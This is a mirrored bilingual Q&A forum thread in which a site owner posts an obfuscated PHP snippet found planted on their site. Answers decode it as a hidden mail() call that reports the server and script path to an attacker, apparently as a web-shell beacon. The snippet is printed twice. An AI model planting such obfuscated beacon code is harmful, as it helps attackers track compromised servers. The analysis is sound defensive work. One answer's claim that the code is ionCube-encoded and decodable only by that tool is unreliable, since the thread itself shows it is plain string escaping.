有谁知道这段PHP代码的作用吗?

发布于 2024-12-28 13:13:01 字数 390 浏览 0 评论 0原文

我发现这个嵌入在我网站上的 php 文件中,谁能告诉我它的作用吗?

$x0b="\x6da\x69l"; 
$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
$ee = $o[2].$o[3].$o[1].$o[4].$o[0];
$send = @$x0b($ee,$sub,$ms);

I Found this embedded in a php file on my site, can anyone tell me what it does?

$x0b="\x6da\x69l"; 
$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
$ee = $o[2].$o[3].$o[1].$o[4].$o[0];
$send = @$x0b($ee,$sub,$ms);

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(5

我要还你自由 2025-01-04 13:13:01

它创建了 4 个变量。第一个变量 $x0b 是要使用的函数的名称“mail”。

$x0b = "mail";

最后 3 个变量是电子邮件的发送对象、主题和邮件正文。

$ee = "[email protected]"
$sub = "shell >> : file.php" ( file.php is the name of the script that contains this code )
$ms = "file.php" ( same as above )

你知道你被黑了:)

It creates 4 variables. The first variable, $x0b, is the name of the function to be used, "mail".

$x0b = "mail";

The last 3 variables are who to send the email to, the subject and the mail body.

$ee = "[email protected]"
$sub = "shell >> : file.php" ( file.php is the name of the script that contains this code )
$ms = "file.php" ( same as above )

You know you've been hacked :)

浪菊怪哟 2025-01-04 13:13:01

看起来很邪恶!该脚本尝试向 [email protected] 发送电子邮件。

@$x0b 执行名称为 $x0b 的函数,其中 \x6da\x69l 是“mail”,@ 会抑制任何错误。

接收者 $ee[电子邮件受保护]

邮件包含 SERVER_NAME 和来自 $_SERVER[] 变量的 SCRIPT_NAME

您可以使用 codepad 打印出字符串。

字符串编码为 S\x45R\126\105\x52_\x4e\101\x4dES 只是纯文本。 \x45 是十六进制编码,\126 是字符数。

Looks evil! The script tries to sending an email to [email protected].

@$x0b executes the function with name from $x0b where \x6da\x69l is "mail" and @ suppresses any errors.

Receiver $ee is [email protected]

The mail contains SERVER_NAME and SCRIPT_NAME from the $_SERVER[] variable.

You can use codepad to print out the strings.

The strings are encoded S\x45R\126\105\x52_\x4e\101\x4dE. S is just plaintext. \x45 is hex encoded and \126 is a char number.

落墨 2025-01-04 13:13:01

这是非常简单的 ASCII 混淆,并且可以非常简单地逆转。

\x + [0-9] 基本上是字母、字符或数字的 Ascii 形式。

任何用双引号括起来的字符串都将被解释为 ASCII 字符,例如:

$E = "\x45"; //E
$R = "\x52"; //R
$ER = "\x45\x52"; //ER

查看下面的 ASCII 表,我们查看的是 Hx 列,因为这些是十六进制字符代码,所以现在我们可以使用它来在十六进制字符串中构建一个函数名称并像这样调用它:

$func = "\x6D\x61\x69\x6C"; //mail

然后使用该变量来调用一个函数,如下所示:

$e = $func($a, $b, $c, $d);

一旦您了解了如何使用 ASCII 表示,就非常简单了。

在此处输入图像描述

This is pretty simple ASCII obfuscation and can be reversed quite simply.

\x + [0-9] basically is the Ascii form of a Letter, character or digit.

Any string wrapped within double quotes will be interpreted for ASCII chars, for example:

$E = "\x45"; //E
$R = "\x52"; //R
$ER = "\x45\x52"; //ER

Looking at the ASCII table below were looking at the Hx column, as these are hexadecimal character codes, so now we can use this to build up a function name in a hex string and call it like so:

$func = "\x6D\x61\x69\x6C"; //mail

and then use that variable to call a function like so:

$e = $func($a, $b, $c, $d);

Quite simple once you understand the howto use ASCII Representations.

enter image description here

陌上青苔 2025-01-04 13:13:01

它将包含 PHP 脚本位置的电子邮件发送到地址 [email protected]

该脚本是您应该付费的应用程序的一部分吗?网站许可证的用途?这将是一种检查未付费使用它的人的方法。或者它可能是后门的一部分,让某人控制您的服务器。

It sends an email containing the location of the PHP script to the address [email protected]

Is that script part of an application that you're supposed to have a paid site license for? This would be a way to check for people who use it without paying. Or it could be part of a backdoor that lets someone control your server.

我的影子我的梦 2025-01-04 13:13:01

我相信 PHP 代码本身已经被像 ioncube 这样的工具“混淆”(或编码)。
它只能通过相同的工具进行反混淆,尽管当在安装它的服务器上运行时,它会正常运行。
希望这有帮助

I believe the PHP code itself has been "obfuscated" (or encoded) by a tool like ioncube.
It can only be un-obfuscated by the same tool, although when run on the server it's installed on, it will run normally.
Hope this helps

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文